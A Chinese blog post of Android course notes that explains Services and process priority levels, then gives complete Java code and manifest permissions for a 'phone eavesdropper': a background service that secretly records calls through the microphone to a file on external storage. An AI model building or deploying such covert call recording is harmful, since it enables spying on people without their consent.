服务与进程

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/wdx_1136346879/article/details/85643591

##09_服务和进程优先级

服务:是一个没有界面,可以长期运行在后台的应用程序(没有界面的activity);

服务的特点:
(1)android4.0之后的版本上,需要带有服务的应用程序必须要有一个界面,并且在至少运行过一次,否则不生效;
(2)是一个没有界面,可以长期运行在后台的应用程序;

进程:运行应用程序的载体。当应用程序一启动的时候,android操作系统就提供一个linux的进程,进程是负责维护dalvik虚拟机的,而我们开发的应用程序试运行在dalvik虚拟机上的。

应用程序:四大组件放在一起就是应用程序。

进程的特点:
(1)应用程序启动时创建了进程;
(2)应用程序退出的时候,进程并没有退出;
(3)手工结束进程;当可用内存空间不足,系统会自动清理没有用到的进程;

进程的等级:

  1. Foreground process(前台进程)

    应用程序,用户正在操作,activity的onresume方法被执行了,可以相应点击事件。

  2. Visible process (可视进程)

     应用程序的ui界面,用户还可以看到,但是不能操作了。
    
  3. Service process (服务进程)

     应用程序没有界面,但是有一个后台的服务还处于运行状态
    
  4. Background process(后台进程)

     应用程序没有服务处于运行状态,应用程序被最小化了,activity执行了onstop方法
    
  5. Empty process (空进程)

     没有任何组件运行,所有的activity都关闭了,任务栈清空了
    

##10_服务的特点

特点:
1、第一次开启服务时,会创建一个服务对象:oncreate,开启服务会调用onstartCommand;
2、停止服务时调用ondestroy方法;
3、服务只能被创建一次,可以多次开启,每次开启时都会调用onstartCommand方法;
4、服务只能停止一次,如果多次停止不会执行任何操作;

##11_电话窃听器的模板代码(重点)

##12_利用服务实现电话窃听器

扫描二维码关注公众号,回复: 4837894 查看本文章
代码:

package com.itheima.phonelistener;


import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneListenerService extends Service {

	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}
	
	@Override
	public void onCreate() {
		// TODO Auto-generated method stub
		super.onCreate();
		
			//得到系统提供的电话服务对象
				TelephonyManager tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);

				//监听电话状态
				//listener 电话状态的监听器
				//LISTEN_CALL_STATE 监听的事件类型
				tm.listen(new MyListener(), PhoneStateListener.LISTEN_CALL_STATE);
	}
	
	private class MyListener extends PhoneStateListener {

		private MediaRecorder r;

		/**
		 * 当电话状态发生变化时调用这个方法 state 电话状态:铃声响起、接通电话、闲置状态
		 */
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			super.onCallStateChanged(state, incomingNumber);
			switch (state) {
			case TelephonyManager.CALL_STATE_IDLE:// 空闲状态
				if(r != null){
					//停止录音
					r.stop();
					//释放多媒体对象
					r.release();
					//让垃圾回收器回收多媒体对象占用的资源
					r = null;
				}
				break;

			case TelephonyManager.CALL_STATE_RINGING:// 铃声响起状态
				try {
					//创建一个录音机的对象
					r = new MediaRecorder();
					//设置音频的来源
					r.setAudioSource(MediaRecorder.AudioSource.MIC);
					//设置输出文件的格式
					r.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					//设置文件保存的路径
					r.setOutputFile(Environment.getExternalStorageDirectory()+"/123.3gp");
					//设置音频文件的编码
					r.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					
					//准备多媒体对象
					r.prepare();
				} catch (Exception e) {
					e.printStackTrace();
				}
				break;

			case TelephonyManager.CALL_STATE_OFFHOOK:// 接通状态
				if(r != null){
					//开始录音
					r.start();
				}
				break;
			default:
				break;
			}
		}
	}
}

配置文件:

权限:

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>

<service android:name="com.itheima.phonelistener.PhoneListenerService"></service>

猜你喜欢

转载自blog.csdn.net/wdx_1136346879/article/details/85643591
今日推荐